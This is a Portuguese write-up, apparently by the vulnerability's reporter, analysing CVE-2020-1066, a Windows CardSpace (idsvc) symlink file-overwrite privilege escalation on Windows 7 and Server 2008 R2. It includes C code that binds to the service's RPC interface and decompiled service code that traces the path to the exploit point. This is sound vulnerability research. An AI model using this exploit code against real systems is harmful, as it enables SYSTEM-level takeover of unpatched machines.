
Exploração de elevação de privilégios local para CVE-2020-1066 direcionada ao Windows 7 e Server 2008 R2. Aproveita a substituição arbitrária de arquivos por meio de abuso de link simbólico no serviço Windows CardSpace (idsvc) para alcançar execução de código em nível de SYSTEM.
Esta vulnerabilidade é uma vulnerabilidade de elevação de privilégios locais devido à substituição arbitrária de arquivos causada pelo serviço Windows CardSpace que não lida corretamente com objetos de link simbólico.
O PoC do autor é apenas para fins de pesquisa. Se o leitor usar este PoC para outras atividades, não tem relação com o autor.
[toc]
Aplica-se a usuários comuns do Windows 7 e Windows Server 2008 R2 e a usuários do IIS com configurações especiais habilitadas.
O autor é o submissor da vulnerabilidade, que foi atualizada em maio de 2020. A vulnerabilidade origina-se do serviço Windows CardSpace (abreviado como idsvc) do Windows 7 e Windows Server 2008 R2. Este serviço pode ser iniciado por qualquer usuário, é executado com privilégios de Sistema e oferece chamadas RPC públicas. Quando o serviço é acionado por um usuário para mover um arquivo de configuração específico localizado no diretório da variável de ambiente do usuário %APPDATA%, ele não lida corretamente com objetos de link simbólico, resultando em substituição arbitrária de arquivos e elevação local de privilégios. Esta é a causa da vulnerabilidade. Como é baseado em chamadas RPC, é necessário primeiro obter a interface do serviço MIDL, para poder escrever código local e interagir com ele. O autor recomenda usar a ferramenta RpcView. Para métodos específicos, consulte a série de artigos sobre exploração de vulnerabilidades RPC. Primeiro, use o seguinte método para obter o arquivo de símbolos e configurar os símbolos na ferramenta. Em seguida, é possível descompilar o arquivo IDL da interface RPC. O método específico é o seguinte:``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

Através da ferramenta, obtenha os 3 dados importantes: o tipo de protocolo Rpc, o nome do protocolo e o arquivo de definição do cliente da interface do protocolo (arquivo .c gerado pela compilação do arquivo IDL, veja a caixa de texto Decompilation à esquerda). Dessa forma, é possível vincular o serviço Rpc usando o seguinte método.```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
Ao descompilar o código do serviço idsvc, obtém-se o projeto específico (veja os projetos relacionados). O serviço idsvc vincula o manipulador global da interface RPC global, RequestFactory.ProcessNewRequest. Para a primeira chamada, ou seja, quando parentRequestHandle é 0, chama a classe CreateClientRequestInstance para lidar com o callback. As operações subsequentes são tratadas pela classe CreateUIAgentRequestInstance.``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
O serviço idsvc refletirá a classe correspondente com base no nome da classe no campo RpcRequest->Type para lidar com o callback, aqui o poc usa a classe "ManageRequest";```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
Aciona a função DoProcessRequest da instância ManageRequest para processar a solicitação, omitindo etapas intermediárias e, por fim, chama StoreConnection.CreateDefaultDataSources() para chegar ao ponto de exploração.